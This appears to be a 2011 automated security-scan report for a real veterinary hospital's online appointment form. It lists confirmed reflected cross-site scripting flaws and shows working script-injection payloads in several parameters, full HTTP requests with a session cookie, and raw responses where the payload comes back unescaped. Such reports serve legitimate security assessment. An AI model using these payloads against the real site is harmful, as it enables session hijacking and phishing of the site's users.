SQL Injection, www.vcahospitals.com, CWE-89, Database Error, Command Injection

Netsparker - Scan Report Summary
TARGET URL
 http://www.vcahospitals.com/new-york-veterina...
SCAN DATE
 3/5/2011 6:45:25 AM
REPORT DATE
 3/5/2011 6:58:35 AM
SCAN DURATION
 00:09:54

Total Requests

Average Speed

req/sec.
20
identified
17
confirmed
0
critical
1
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
 Previous Settings
ENABLED ENGINES
 Blind SQL Injection, Boolean SQL Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
80 %
LOW
15 %
INFORMATION
5 %
Cross-site Scripting

Cross-site Scripting

16 TOTAL
IMPORTANT
CONFIRMED
16
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone='%22--%3E%3C/style%3E%3C..

Parameters

Parameter Type Value
altphone GET '"--></style></script><script>alert(0x000E38)</script>
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET 3
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET bea12e68589a38989e1bf01ba4db3a63
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000E38)%3C/script%3E&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1=3&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=bea12e68589a38989e1bf01ba4db3a63&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:45:54 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="Ronald Smith" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="3" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="3" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="3" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="'"--></style></script><script>netsparker(0x000E38)</script>" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="netsparker@example.com" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="3" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="Ronald Smith" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="3" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" disabled="disabled" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" disabled="disabled" checked="checked" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OP..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?'"--></style></script><script>ale..

Parameters

Parameter Type Value
Query Based QUERYSTRING '"--></style></script><script>alert(0x000E48)</script>

Request

GET /new-york-veterinary-hospital/appt.html?'"--></style></script><script>netsparker(0x000E48)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:45:57 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

<link rel="stylesheet" href="/css/jquery-ui-1.7.2.custom.css" type="text/css" /><script src="/js/forms/forms.js" type="text/javascript"></script><script src="/js/forms/appt.js" type="text/javascript"></script><script src="/js/jquery-ui-1.7.2.custom.min.js" type="text/javascript"></script></head>
<body id="appt"><script type="text/javascript">
var unica_imod_accountId=111;
var NTPT_IMGSRC = 'http://pt200243.unica.com/ntpagetag.gif';
var NTPT_HTTPSIMGSRC = 'https://pt200243.unica.com/ntpagetag.gif';
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
<div class="wrapper shadow">

<div class="header">
<a name="top"></a>
<a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html"><img id="vca-logo" src="/img/logo-vca-admin.png" height="56" width="122" alt="VCA logo" class="trans logo screen" /></a>
<h1 class="sifr">New York Veterinary Hospital</h1>
<div class="nav-primary">
<ul><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-team.html" title="Our Team">Our Team</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/services.html" title="Our Services">Our Services</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/our-hospital.html" title="Our Hospital">Our Hospital</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/more/events.html" title="Events">Events</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/testimonials.html" title="Testimonials">Testimonials</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/new-clients.html" title="Your First Visit">Your First Visit</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/why-vca.html" title="Our Pledge">Our Pledge</a></li></ul> </div><!-- .nav-primary -->
<ul class="nav-secondary"><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/home.html" title="HOME">HOME</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/pet-adoptions.html" title="PET ADOPTIONS">PET ADOPTIONS</a></li><li><a href="http://www.vcahospitals.com/new-york-veterinary-hospital/careers.html" title="CAREERS">CAREERS</a></li></ul> </div><!-- .header -->

<div class="body ">
<div class="main">
<div class="content">
<h2>Request an Appointment</h2> <!-- Google Website Optimizer Control Script -->
<script>
function utmx_section(){}function utmx(){}
(function(){var k='1639539707',d=document,l=d.location,c=d.cookie;function f(n){
if(c){var i=c.indexOf(n+'=');if(i>-1){var j=c.indexOf(';',i);return escape(c.substring(i+n.
length+1,j<0?c.length:j))}}}var x=f('__utmx'),xx=f('__utmxx'),h=l.hash;
d.write('<sc'+'ript src="'+
'http'+(l.protocol=='https:'?'s://ssl':'://www')+'.google-analytics.com'
+'/siteopt.js?v=1&utmxkey='+k+'&utmx='+(x?x:'')+'&utmxx='+(xx?xx:'')+'&utmxtime='
+new Date().valueOf()+(h?'&utmxhash='+escape(h.substr(1)):'')+
'" type="text/javascript" charset="utf-8"></sc'+'ript>')})();
</script>
<!-- End of Google Website Optimizer Control Script -->
<strong></strong><p>Use the form below to request an appointment. One of our team members will call you back to confirm your appointment.</p> <form action="/new-york-veterinary-hospital/appt/thank-you.html" method="POST" name="appt-form" id="appt-form" class="input-form">
<div id="error-msg"></div>
<div class="required">* Required Fields.</div>

<!-- NAME -->
<div>
<div class="floatleft">
<label for="fname" class="req">First Name
<span class="msg">You cannot use special characters in the First Name.</span>
<span class="msg-req">First Name is a required field.</span>
</label><br />
<input name="fname" id="fname" type="text" size="30" class="req" maxlength="50" value="" />
</div>
<div>
<label for="lname" class="req">Last Name
<span class="msg">You cannot use special characters in the Last Name.</span>
<span class="msg-req">Last Name is a required field.</span>
</label><br />
<input name="lname" id="lname" type="text" size="30" class="req" maxlength="50" value="" />
</div>
</div>


<script>utmx_section("Date Select")</script>
<!-- PREFERRED DATE AND TIME -->
<div>
<div class="floatleft">
<label for="date1" class="req">First Preferred Date
<span class="msg">Please use a valid First Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for First Preferred Date.</span>
<span class="msg-req">First Preferred Date is a required field.</span>
</label><br />
<input name="date1" id="date1" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time1">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time1" id="time1" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="am1" value="AM" checked="checked" />
<label for="am1">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm1" id="pm1" value="PM" />
<label for="pm1">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date2">Second Preferred Date
<span class="msg">Please use a valid Second Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Second Preferred Date.</span>
</label><br />
<input name="date2" id="date2" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time2">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time2" id="time2" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="am2" value="AM" checked="checked" />
<label for="am2">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm2" id="pm2" value="PM" />
<label for="pm2">PM</label>
</div>
<br class="clear" />
</div>

<div>
<div class="floatleft">
<label for="date3">Third Preferred Date
<span class="msg">Please use a valid Third Preferred Date format, eg. MM/DD/YYYY.</span>
<span class="msg-date">Please select a date after today for Third Preferred Date.</span>
</label><br />
<input name="date3" id="date3" type="text" size="20" maxlength="50" value="" class="datepicker" />
</div>
<div class="floatleft">
<label for="time3">Time
<span class="msg">Please use a valid Time format, eg. ##:##.</span>
</label><br />
<input name="time3" id="time3" type="text" size="15" maxlength="50" value="" disabled="disabled" />
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="am3" value="AM" checked="checked" />
<label for="am3">AM</label>
</div>
<div class="radio-label">
<br /><input type="radio" name="ampm3" id="pm3" value="PM" />
<label for="pm3">PM</label>
</div>
<br class="clear" />
</div>
</noscript><!-- END utmx_section("Date Select") -->

<!-- PHONE -->
<div>Please give us at least one phone number so we can call you back to confirm the availability of this appointment.</div>
<div>
<div class="floatleft">
<label for="phone" class="req">Daytime Phone
<span class="msg">Please use a valid Daytime Phone format, eg. ###-###-####.</span>
<span class="msg-req">Preferred Phone is a required field.</span>
</label><br />
<input name="phone" id="phone" type="text" size="30" maxlength="20" value="" />
</div>
<div>
<label for="altphone">Alternate Phone <span class="small">(In case we can't reach you)
<span class="msg">Please use a valid Alternate Phone format, eg. ###-###-####.</span>
</label><br />
<input name="altphone" id="altphone" type="text" size="30" maxlength="20" value="" />
</div>
</div>

<!-- EMAIL -->
<div>
<label for="email" class="req">Email Address
<span class="msg">Please use a valid Email Address format, eg. abc@xyz.com.</span>
<span class="msg-req">Email Address is a required field.</span>
</label><br />
<input name="email" id="email" type="text" size="40" maxlength="255" value="" />
</div>

<script>utmx_section("Not Required")</script>
<!-- PREFERRED DOCTOR -->
<div>
<label for="doctor">Select your preferred professional
<span class="msg">Please select a doctor.</span>
</label><br />
<select name="doctor" id="doctor" style="width:20em;">
<option value=""></option>
<option value="Kimberly A. Whitfield - Veterinarian">Kimberly A. Whitfield - Veterinarian</option> </select>
</div>

<!-- REASON FOR VISIT -->
<div>
<label for="reason">Reason for visit
<span class="msg-req">Please select a reason for visit.</span>
</label><br />
<select name="reason" id="reason" style="width:20em;">
<option value=""></option>
<option value="Wellness Exam">Wellness Exam</option><option value="Routine Dental Care">Routine Dental Care</option><option value="Vaccine Booster">Vaccine Booster</option><option value="My Pet Is Sick">My Pet Is Sick</option><option value="Other">Other</option> </select>
</div>

<!-- PET INFO -->
<div>
<div class="floatleft">
<label for="pettype">Pet Type</label><br />
<select name="pettype" id="pettype" style="width:11em;">
<option value=""></option>
<option value="Dog">Dog</option><option value="Cat">Cat</option><option value="Bird">Bird</option><option value="Rabbit">Rabbit</option><option value="Other">Other</option> </select>
</div>
<div>
<label for="other">Other
<span class="msg">You cannot use special characters in the Other Pet Type.</span>
</label><br />
<input name="other" id="other" type="text" size="40" class="req" maxlength="255" value="" disabled="disabled" />
</div>
</div>
<div>
<div class="floatleft">
<label for="petname">Pet Name
<span class="msg">You cannot use special characters in the Pet Name.</span>
</label><br />
<input name="petname" id="petname" type="text" size="20" maxlength="50" value="" />
</div>
<div>
<label for="petage">Pet Age
<span class="msg">You cannot use special characters in the Pet Age.</span>
</label><br />
<input name="petage" id="petage" type="text" size="15" maxlength="50" value="" />
</div>
</div>
</noscript><!-- END utmx_section("Not Required") -->

<!-- CURRENT OR NEW CLIENT -->
<div>
<div class="radio-label">
<input type="radio" name="client" id="current_client" value="current" checked="checked" />
<label for="current_client">I am currently a client.</label>
</div>
<input type="radio" name="client" id="new_client" value="new" />
<label for="new_client">I am a new client.</label>
</div>

<!-- OPT-IN -->
<div>
<input type="checkbox" name="optin"..
- /new-york-veterinary-hospital/appt.html

/new-york-veterinary-hospital/appt.html CONFIRMED

http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm..

Parameters

Parameter Type Value
altphone GET 3
ampm1 GET AM
ampm2 GET AM
ampm3 GET AM
appt_type GET appt
client GET current
date1 GET '"--></style></script><script>alert(0x000E8F)</script>
date2 GET 3
date3 GET 3
doctor GET 3
email GET netsparker@example.com
fname GET Ronald Smith
guid GET 3
ipaddress GET 173.193.214.243
lname GET Ronald Smith
optin GET 3
other GET 3
petage GET 3
petname GET Ronald Smith
pettype GET 3
phone GET 3
reason GET 3
referer GET 3
source GET new-york-veterinary-hospital
submit GET Request An Appointment
time1 GET 3
time2 GET 3
time3 GET 3
token GET 43ca73c30e5d5cb7e493cbfd5212c231
uri GET http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
useragent GET Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Request

GET /new-york-veterinary-hospital/appt.html?altphone=3&ampm1=AM&ampm2=AM&ampm3=AM&appt_type=appt&client=current&date1='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000E8F)%3C/script%3E&date2=3&date3=3&doctor=3&email=netsparker@example.com&fname=Ronald%20Smith&guid=3&ipaddress=173.193.214.243&lname=Ronald%20Smith&optin=3&other=3&petage=3&petname=Ronald%20Smith&pettype=3&phone=3&reason=3&referer=3&source=new-york-veterinary-hospital&submit=Request+An+Appointment&time1=3&time2=3&time3=3&token=43ca73c30e5d5cb7e493cbfd5212c231&uri=http%3a%2f%2fwww.vcahospitals.com%2fnew-york-veterinary-hospital%2fappt.html&useragent=Mozilla%2f4.0+(compatible%3b+MSIE+6.0%3b+Windows+NT+5.1%3b+SV1%3b+.NET+CLR+1.1.4322) HTTP/1.1
Referer: http://www.vcahospitals.com/new-york-veterinary-hospital/appt.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.vcahospitals.com
Cookie: PHPSESSID=1v8c6mvg7rokholn56q5o5oa76
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 05 Mar 2011 12:47:15 GMT
Server: Apache/2.2.15 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
<title>New York Veterinary Hospital | Request an Appointment</title>
<meta name="description" content="New York Veterinary Hospital, New York, NY | Now VCA clients can Request an Appointment online. Choose a date and time convenient for you and your pet, and VCA will confirm your appointment." />
<meta name="keywords" content="New York Veterinary Hospital, New York, NY, [vca, animal hospital, vet, veterinarians, appointment, schedule, pet exam" />
<meta name="robots" content="index,follow" />
<meta name="revisit-after" content="7_days" />
<meta name="author" content="Designory.com" />
<meta http-equiv="imagetoolbar" content="no" />
<link href="/css/reset.css" rel="stylesheet" type="text/css" />
<link href="/css/style.css" rel="stylesheet" type="text/css" />
<script src="/js/jquery-1.3.1.js" type="text/javascript"></script>
<script src="/js/flash-embed.js" type="text/javascript"></script>
<script src="/js/_main.js" type="text/javascript"></script>
<!--[if lt IE 7]>
<link href="/css/ie.css" rel="stylesheet" type="text/css" />
<script src="/js/ie.js" type="text/javascript"></script>
<![endif]-->

